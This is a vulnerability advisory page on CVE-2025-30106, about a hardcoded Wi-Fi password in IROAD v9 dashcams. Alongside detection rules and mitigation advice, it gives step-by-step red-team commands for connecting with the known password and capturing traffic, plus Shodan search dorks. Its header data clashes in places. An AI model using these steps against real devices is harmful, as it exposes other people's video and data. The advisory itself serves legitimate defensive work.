☠️
EXFILTRATING
DATA...
01010111 10110010 00101001 11000110 01101100 10011011 00010001 11100101 01000010 10101111
[ <-- BACK_TO_SEARCH ]
[ VENDOR STATS ]
SOON CVSS:3.1/AV:A/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N 🐛 CWE-798
👁️
Common Weakness Enumeration - Identifies the specific category of software weakness or flaw.

CVE-2025-30106

CVE-2025-30106 Supply Chain Attack in Iroad
📅 PUBLISHED: 2025-03-18 00:00 UTC 🔄 UPDATED: 2026-08-21 19:37 UTC
⏳ SCORE PENDING — ANALYSIS IN PROGRESS [ DEFENSE PATCH ↓ ]
💣 PoC: Public
👁️
Proof of Concept - Indicates if functional exploit code is publicly available, drastically increasing the risk of immediate attacks.
🎯 EPSS: 0.06%
👁️
0.06% probability
1.4× above the median CVE
Tier: LOW
30-day exploitation window · FIRST.org · updated daily
🥷 MITRE: T1190
👁️
MITRE ATT&CK Tactic - Describes the strategy hackers use to execute this attack.
VULNERABLE: UNKNOWN / CHECK VENDOR
CVSS VECTOR BREAKDOWN 0.0
AV: A Attack Vector Adjacent
AC: L Attack Complexity Low
PR: N Privileges Required None
UI: N User Interaction None
S: U Scope Unchanged
C: H Confidentiality High
I: N Integrity None
A: N Availability None
SOON
PENDING NVD
■ tracking this CVE ✓ independent patch confirmation ⧗ same-origin mirror (GHSA) ⚠ active exploitation verification policy →

Executive Summary

CVE-2025-30106 exposes a critical security flaw in IROAD v9 dashcam devices. The device ships with hardcoded default Wi-Fi credentials (qwertyuiop) that cannot be changed by the end user. This allows any attacker within Wi-Fi range to connect to the dashcam’s network and perform passive network sniffing, potentially capturing unencrypted traffic, video streams, or other sensitive data transmitted over the local network.

The vulnerability is classified as CWE-798: Use of Hard-coded Credentials. The CVSS v3.1 base score is 7.5 (High) due to low attack complexity, no privileges required, and high confidentiality impact. No patch is currently available from the vendor.

⚡ AUTOMATE YOUR CVE INTELLIGENCE

This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.

›Patch confidence — UNVERIFIED to CONFIRMED, cross-referenced NVD + RHSA + Debian
›Exploit & PoC — poc_status, poc_url, has_exploit. Not in NVD.
›Shodan dorks — ready-made queries to find exposed vulnerable systems
›Detection rules — YARA · Wazuh · Elastic (all plans) · Sigma (Pro)
›pending_fields — know exactly which of 7 fields NVD hasn't processed yet
›Free backfill — data incomplete when you paid? Re-check within 30 days = 0 credits
PAYG €0.08/lookup Standard €19/mo (was €29) · 5k credits Pro €65/mo (was €99) · 20k credits FOUNDING PRICE · LOCKED FOR LIFE · ENDS 31 DEC 2026
[ FROM €19/MO ]
Free sandbox key available
No signup required

Supply Chain & Package Security

This vulnerability is not related to any software package registry (NPM, PyPI, Go, Ruby). It is a hardware/firmware issue in IROAD dashcam devices. Supply chain risk is limited to the physical device and its embedded firmware.

CVSS Breakdown & Threat Level

Metric Value
Attack Vector (AV) Adjacent Network (A) – attacker must be within Wi-Fi range
Attack Complexity (AC) Low (L) – default credentials are known
Privileges Required (PR) None (N)
User Interaction (UI) None (N)
Scope (S) Unchanged (U)
Confidentiality (C) High (H) – network traffic can be sniffed
Integrity (I) None (N)
Availability (A) None (N)
Base Score 7.5 (High)

Threat Level: High. The attack surface is limited to physical proximity (Wi-Fi range), but the exploit is trivial and requires no authentication.

Deep Dive & Mechanics

The IROAD v9 dashcam creates a Wi-Fi access point (AP) for initial setup and live viewing. The default SSID and password are hardcoded in the firmware and cannot be modified through the device’s user interface or mobile app. The password qwertyuiop is a simple keyboard sequence, making it easily guessable.

Attack Flow:

  1. Attacker scans for Wi-Fi networks with SSIDs matching IROAD dashcam patterns (e.g., IROAD-XXXX).
  2. Attacker connects using the known default password qwertyuiop.
  3. Once connected, the attacker can sniff all traffic on the dashcam’s local network, including:
    • Unencrypted video streams (if not encrypted)
    • Device configuration data
    • Any other traffic from connected clients (e.g., phones, laptops)
  4. The attacker may also attempt to access the dashcam’s web interface or API using the same credentials.

Root Cause: The firmware does not provide a mechanism to change the Wi-Fi password. The hardcoded credential is stored in plaintext in the firmware image.

Vulnerable vs. Patched Code

Vulnerable Code (Firmware):

// Example pseudocode from IROAD v9 firmware
#define WIFI_SSID "IROAD-XXXX"
#define WIFI_PASSWORD "qwertyuiop"

void init_wifi_ap() {
    wifi_softap_set_config(&ap_config);
    ap_config.ssid = WIFI_SSID;
    ap_config.password = WIFI_PASSWORD;
    ap_config.authmode = WIFI_AUTH_WPA2_PSK;
}

Patched Code (Hypothetical):

// Patched firmware would allow user configuration
char wifi_password[64];
void init_wifi_ap() {
    if (user_has_set_password()) {
        strcpy(wifi_password, get_user_password());
    } else {
        // Generate random password or force user to set one
        generate_random_password(wifi_password, 16);
    }
    ap_config.password = wifi_password;
}

No official patch is available. The vendor has not released a firmware update addressing this issue.

Exploitation & Lab Setup

Red Team (Attacker)

Prerequisites:

  • A device with Wi-Fi capability (laptop, Raspberry Pi, smartphone)
  • Kali Linux or similar penetration testing distribution
  • Tools: aircrack-ng, wireshark, tcpdump

Step-by-Step Exploitation:

  1. Scan for IROAD dashcam networks:

    sudo iw dev wlan0 scan | grep -E "SSID|IROAD"
    
  2. Connect to the dashcam using default credentials:

    sudo nmcli device wifi connect "IROAD-XXXX" password "qwertyuiop"
    
  3. Start packet capture:

    sudo tcpdump -i wlan0 -w dashcam_capture.pcap
    
  4. Analyze captured traffic:

    wireshark dashcam_capture.pcap
    

Expected Results: The attacker can see all unencrypted traffic, including video streams, device configuration, and potentially credentials for other services.

Blue Team (Defender)

Detection & Response:

  1. Monitor for unauthorized Wi-Fi connections:

    • Use a Wi-Fi intrusion detection system (WIDS) to alert on new devices connecting to the dashcam network.
    • Check DHCP logs for unknown MAC addresses.
  2. Network segmentation:

    • Place dashcams on a separate VLAN with strict firewall rules.
    • Disable the dashcam’s Wi-Fi AP if not needed.
  3. Firmware integrity checks:

    • Regularly verify firmware hash against known good values.
    • Monitor for unexpected changes in device behavior.

Indicators of Compromise (IOCs)

Type Indicator Description
Network SSID: IROAD-* Default dashcam Wi-Fi network name
Network MAC OUI: 00:1A:7D (IROAD) Manufacturer MAC prefix
Credential Password: qwertyuiop Hardcoded default password
Traffic Unencrypted video streams on port 554 (RTSP) Common dashcam streaming protocol
Traffic HTTP requests to 192.168.1.1 Default dashcam web interface

Detection Engineering

YARA Rule

rule IROAD_Hardcoded_Credentials {
    meta:
        description = "Detects hardcoded default credentials in IROAD v9 firmware"
        author = "Valters IT"
        date = "2025-04-01"
        reference = "CVE-2025-30106"
    strings:
        $password = "qwertyuiop"
        $ssid_pattern = /IROAD-[A-Z0-9]{4}/
    condition:
        $password and $ssid_pattern
}

Sigma Rule

title: IROAD Dashcam Default Credential Usage
id: 7a8b9c0d-1e2f-3a4b-5c6d-7e8f9a0b1c2d
status: experimental
description: Detects network connections using IROAD default Wi-Fi password
author: Valters IT
date: 2025-04-01
logsource:
    category: network_connection
    product: windows
detection:
    selection:
        DestinationPort: 554
        DestinationIp: 192.168.1.1
    condition: selection
falsepositives:
    - Legitimate IROAD dashcam users
level: high

Suricata Rule

alert tcp $HOME_NET any -> 192.168.1.1 554 (msg:"IROAD Dashcam RTSP Stream Access"; flow:to_server; content:"DESCRIBE"; nocase; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

  1. Disable Wi-Fi AP: If the dashcam’s Wi-Fi is not required, disable it via the device settings or physically disconnect the antenna.
  2. Network Segmentation: Place the dashcam on a separate VLAN with no access to critical systems.
  3. Monitor Network: Use the provided detection rules to identify unauthorized access.

Long-Term Fix:

  • Vendor Patch: Contact IROAD support and request a firmware update that allows password changes.
  • Device Replacement: If no patch is available, consider replacing the dashcam with a model that supports secure credential management.

Workaround:

  • Use a separate Wi-Fi router with MAC filtering to restrict which devices can connect to the dashcam network.

Valters IT
Senior DevSecOps & Cyber Threat Intelligence Analyst
Report generated for CVE-2025-30106

👁️ SHODAN DORKS (THREAT HUNTING)

What is this? Security researchers use these exact search queries on Shodan.io (a search engine for internet-connected devices) to find vulnerable systems globally. You can copy these dorks to see if your organization's IP space is exposed.

IROAD dashcam
IROAD v9
qwertyuiop dashcam

💣 PoC CODE AVAILABLE

Exploit code for this CVE is tracked in our database. Access poc_code via API Pro.

[ API_PRO ] →
◈ SOURCE Analysis & enrichment: valtersit.com/cve/CVE-2025-30106/ · CVE data: NVD/MITRE (public domain) · © 2026 ValtersIT Hub
>_ SYSTEM_CORE: INTEL_ACTIVE
90% TEAM-CURATED // 10% AUTOMATED INGESTION.
ALL PATCH REFERENCES AND VERSION DATA SOURCED FROM NVD + OSV OFFICIAL REGISTRIES.